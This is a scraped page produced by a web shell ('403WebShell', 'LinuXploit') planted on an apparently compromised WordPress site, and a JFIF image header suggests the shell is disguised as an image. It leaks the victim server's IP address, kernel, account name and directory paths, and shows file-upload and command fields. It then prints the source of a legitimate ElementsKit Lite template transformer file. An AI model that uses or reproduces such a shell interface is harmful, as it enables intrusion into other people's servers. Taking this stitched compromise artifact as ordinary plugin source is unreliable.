????JFIF??x?x????'403WebShell
403Webshell
Server IP : 104.21.80.1  /  Your IP : 216.73.216.243
Web Server : LiteSpeed
System : Linux premium151.web-hosting.com 4.18.0-553.44.1.lve.el8.x86_64 #1 SMP Thu Mar 13 14:29:12 UTC 2025 x86_64
User : tempvsty ( 647)
PHP Version : 8.0.30
Disable Function : NONE
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : ON  |  Sudo : OFF  |  Pkexec : OFF
Directory :  /home/tempvsty/oaa-foundation.org/wp-content/plugins/elementskit-lite/libs/template/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : /home/tempvsty/oaa-foundation.org/wp-content/plugins/elementskit-lite/libs/template/transformer.php
<?php
namespace ElementsKit_Lite\Libs\Template;

defined( 'ABSPATH' ) || exit;

class Transformer {

	private $prefix;

	public function render( $str, $prefix ) {
		$str          = trim( $str );
		$this->prefix = $prefix;

		$fn_length = explode( '(', $str );
		if ( count( $fn_length ) == 2 ) {
			$method = $fn_length[0]; // backward support
			
			if ( method_exists( $this, $method ) ) {
				return $this->$method( rtrim( $fn_length[1], ')' ) );
			}
			return $str;
		}

		return $this->variable( $str );
	}

	private function variable( $str ) {
		$str_var_set = explode( '.', $str );
		$array_parts = '';
		foreach ( $str_var_set as $i => $var ) {
			$array_parts .= '["' . ( $i > 0 ? '' : $this->prefix ) . $var . '"]';
		}

		return '<?php echo isset($settings' . $array_parts . ') ? $settings' . $array_parts . ' : ""; ?>';
	}

	private function icon( $str ) {
		return '<?php Icons_Manager::render_icon($settings["' . $this->prefix . trim( $str ) . '"]); ?>';
	}
}

Youez - 2016 - github.com/yon3zu
LinuXploit